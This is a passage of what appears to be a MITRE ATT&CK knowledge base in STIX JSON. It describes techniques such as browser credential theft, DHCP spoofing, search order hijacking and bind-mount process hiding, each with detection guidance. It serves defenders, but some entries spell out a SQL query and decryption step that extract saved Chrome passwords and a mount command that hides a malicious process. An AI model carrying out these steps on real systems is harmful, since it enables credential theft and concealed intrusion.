                    "description": "Google. (n.d.). gcloud compute instances list. Retrieved May 26, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/compute/instances/list"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Malwarebytes OSINT Leaky Buckets - Hioureas",
                    "description": "Vasilios Hioureas. (2019, September 13). Hacking with AWS: incorporating leaky buckets into your OSINT workflow. Retrieved February 14, 2022.",
                    "url": "https://blog.malwarebytes.com/researchers-corner/2019/09/hacking-with-aws-incorporating-leaky-buckets-osint-workflow/"
                }
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            "modified": "2025-04-15T22:02:30.057Z",
            "name": "Cloud Infrastructure Discovery",
            "description": "An adversary may attempt to discover infrastructure and resources that are available within an infrastructure-as-a-service (IaaS) environment. This includes compute service resources such as instances, virtual machines, and snapshots as well as resources of other services including the storage and database services.\n\nCloud providers offer methods such as APIs and commands issued through CLIs to serve information about infrastructure. For example, AWS provides a <code>DescribeInstances</code> API within the Amazon EC2 API that can return information about one or more instances within an account, the <code>ListBuckets</code> API that returns a list of all buckets owned by the authenticated sender of the request, the <code>HeadBucket</code> API to determine a bucket\u2019s existence along with access permissions of the request sender, or the <code>GetPublicAccessBlock</code> API to retrieve access block configuration for a bucket.(Citation: Amazon Describe Instance)(Citation: Amazon Describe Instances API)(Citation: AWS Get Public Access Block)(Citation: AWS Head Bucket) Similarly, GCP's Cloud SDK CLI provides the <code>gcloud compute instances list</code> command to list all Google Compute Engine instances in a project (Citation: Google Compute Instances), and Azure's CLI command <code>az vm list</code> lists details of virtual machines.(Citation: Microsoft AZ CLI) In addition to API commands, adversaries can utilize open source tools to discover cloud storage infrastructure through [Wordlist Scanning](https://attack.mitre.org/techniques/T1595/003).(Citation: Malwarebytes OSINT Leaky Buckets - Hioureas)\n\nAn adversary may enumerate resources using a compromised user's access keys to determine which are available to that user.(Citation: Expel IO Evil in AWS) The discovery of these available resources may help adversaries determine their next steps in the Cloud environment, such as establishing Persistence.(Citation: Mandiant M-Trends 2020)An adversary may also use this information to change the configuration to make the bucket publicly accessible, allowing data to be accessed without authentication. Adversaries have also may use infrastructure discovery APIs such as <code>DescribeDBInstances</code> to determine size, owner, permissions, and network ACLs of database resources. (Citation: AWS Describe DB Instances) Adversaries can use this information to determine the potential value of databases and discover the requirements to access them. Unlike in [Cloud Service Discovery](https://attack.mitre.org/techniques/T1526), this technique focuses on the discovery of components of the provided services rather than the services themselves.",
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            "x_mitre_contributors": [
                "Regina Elwell",
                "Praetorian",
                "Isif Ibrahima, Mandiant"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Establish centralized logging for the activity of cloud infrastructure components. Monitor logs for actions that could be taken to gather information about cloud infrastructure, including the use of discovery API calls by new or unexpected users and enumerations from unknown or malicious IP addresses. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Volume: Volume Enumeration",
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "created": "2020-02-12T18:57:36.041Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1555/003",
                    "external_id": "T1555.003"
                },
                {
                    "source_name": "GitHub Mimikittenz July 2016",
                    "description": "Jamieson O'Reilly (putterpanda). (2016, July 4). mimikittenz. Retrieved June 20, 2019.",
                    "url": "https://github.com/putterpanda/mimikittenz"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019.",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html"
                },
                {
                    "source_name": "Microsoft CryptUnprotectData April 2018",
                    "description": "Microsoft. (2018, April 12). CryptUnprotectData function. Retrieved June 18, 2019.",
                    "url": "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata"
                },
                {
                    "source_name": "Proofpoint Vega Credential Stealer May 2018",
                    "description": "Proofpoint. (2018, May 10). New Vega Stealer shines brightly in targeted campaign . Retrieved June 18, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign"
                },
                {
                    "source_name": "FireEye HawkEye Malware July 2017",
                    "description": "Swapnil Patil, Yogesh Londhe. (2017, July 25). HawkEye Credential Theft Malware Distributed in Recent Phishing Campaign. Retrieved June 18, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html"
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            "modified": "2025-04-15T22:12:28.087Z",
            "name": "Credentials from Web Browsers",
            "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).",
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                "Barry Shteiman, Exabeam",
                "Sylvain Gil, Exabeam",
                "RedHuntLabs, @redhuntlabs"
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            "x_mitre_detection": "Identify web browser files that contain credentials such as Google Chrome\u2019s Login Data database file: <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code>. Monitor file read events of web browser files that contain credentials, especially when the reading process is unrelated to the subject web browser. Monitor process execution logs to include PowerShell Transcription focusing on those that perform a combination of behaviors including reading web browser process memory, utilizing regular expressions, and those that contain numerous keywords for common web applications (Gmail, Twitter, Office365, etc.).",
            "x_mitre_domains": [
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                "File: File Access",
                "Process: OS API Execution"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
            "created": "2020-03-13T17:48:58.999Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/008",
                    "external_id": "T1574.008"
                },
                {
                    "source_name": "Microsoft Environment Property",
                    "description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
                },
                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
                },
                {
                    "source_name": "Microsoft WinExec",
                    "description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
                },
                {
                    "source_name": "Windows NT Command Shell",
                    "description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
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            "modified": "2025-04-15T19:58:33.873Z",
            "name": "Path Interception by Search Order Hijacking",
            "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
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                },
                {
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Modification",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
            "created": "2019-04-08T17:51:41.390Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491",
                    "external_id": "T1491"
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            "modified": "2025-04-25T15:15:35.374Z",
            "name": "Defacement",
            "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
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            "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761",
            "created": "2019-09-04T14:35:04.617Z",
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                    "url": "https://attack.mitre.org/techniques/T1535",
                    "external_id": "T1535"
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                {
                    "source_name": "CloudSploit - Unused AWS Regions",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
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            "modified": "2025-04-15T23:17:42.649Z",
            "name": "Unused/Unsupported Cloud Regions",
            "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",
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            "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
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            "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
            "created": "2022-03-24T19:30:56.727Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1557/003",
                    "external_id": "T1557.003"
                },
                {
                    "source_name": "rfc2131",
                    "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc2131"
                },
                {
                    "source_name": "new_rogue_DHCP_serv_malware",
                    "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
                    "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
                },
                {
                    "source_name": "rfc3315",
                    "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc3315"
                },
                {
                    "source_name": "dhcp_serv_op_events",
                    "description": "Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"
                },
                {
                    "source_name": "solution_monitor_dhcp_scopes",
                    "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"
                },
                {
                    "source_name": "w32.tidserv.g",
                    "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
                    "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
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            "modified": "2025-04-15T22:13:20.292Z",
            "name": "DHCP Spoofing",
            "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            "x_mitre_contributors": [
                "Alex Spivakovsky, Pentera",
                "Andrew Allen, @whitehat_zero"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "Application Log: Application Log Content",
                "Network Traffic: Network Traffic Flow"
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1155",
                    "external_id": "T1155"
                },
                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
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            "modified": "2025-04-25T15:15:35.716Z",
            "name": "AppleScript",
            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.",
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
            "created": "2020-02-25T18:26:16.994Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563",
                    "external_id": "T1563"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
                }
            ],
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            "modified": "2025-04-15T23:00:02.178Z",
            "name": "Remote Service Session Hijacking",
            "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\n\nMonitor for processes and command-line arguments associated with hijacking service sessions.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Process: Process Creation",
                "Logon Session: Logon Session Creation"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5bd41255-a224-4425-a2e2-e9d293eafe1c",
            "created": "2025-01-30T21:01:16.340Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/013",
                    "external_id": "T1564.013"
                },
                {
                    "source_name": "Ahn Lab CoinMiner 2023",
                    "description": "Ahn Lab. (2023, April 24). CoinMiner (KONO DIO DA) Distributed to Linux SSH Servers. Retrieved April 4, 2025.",
                    "url": "https://asec.ahnlab.com/en/51908/"
                },
                {
                    "source_name": "Cado Security Commando Cat 2024",
                    "description": "Nate Bill & Matt Muir. (2024, February 1). The Nine Lives of Commando Cat: Analysing a Novel Malware Campaign Targeting Docker. Retrieved April 4, 2025.",
                    "url": "https://www.cadosecurity.com/blog/the-nine-lives-of-commando-cat-analysing-a-novel-malware-campaign-targeting-docker"
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            ],
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            "modified": "2025-04-15T19:58:34.469Z",
            "name": "Bind Mounts",
            "description": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It\u2019s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process\u2019s `/proc` directory. Using the commands `mount \u2013o bind /proc/benign-process /proc/malicious-process` (or `mount \u2013B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory\u2019s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.(Citation: Cado Security Commando Cat 2024)(Citation: Ahn Lab CoinMiner 2023)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "L\u00ea Ph\u01b0\u01a1ng Nam, Group-IB"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation",
                "Command: Command Execution",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "created": "2020-02-05T14:04:25.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/001",
                    "external_id": "T1027.001"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                    "url": "https://www.virustotal.com/en/faq/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T14:46:48.991Z",
            "name": "Binary Padding",
            "description": "Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This can be done without affecting the functionality or behavior of a binary, but can increase the size of the binary beyond what some security tools are capable of handling due to file size limitations. \n\nBinary padding effectively changes the checksum of the file and can also be used to avoid hash-based blocklists and static anti-virus signatures.(Citation: ESET OceanLotus) The padding used is commonly generated by a function to create junk data and then appended to the end or applied to sections of malware.(Citation: Securelist Malware Tricks April 2017) Increasing the file size may decrease the effectiveness of certain tools and detection capabilities that are not designed or configured to scan large files. This may also reduce the likelihood of being collected for analysis. Public file scanning services, such as VirusTotal, limits the maximum size of an uploaded file to be analyzed.(Citation: VirusTotal FAQ) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Martin Jirkal, ESET"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.  When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "created": "2019-12-13T16:46:18.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/003",
                    "external_id": "T1505.003"
                },
                {
                    "source_name": "NSA Cyber Mitigating Web Shells",
                    "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.",
                    "url": "https://github.com/nsacyber/Mitigating-Web-Shells"
                },
                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
                },
                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
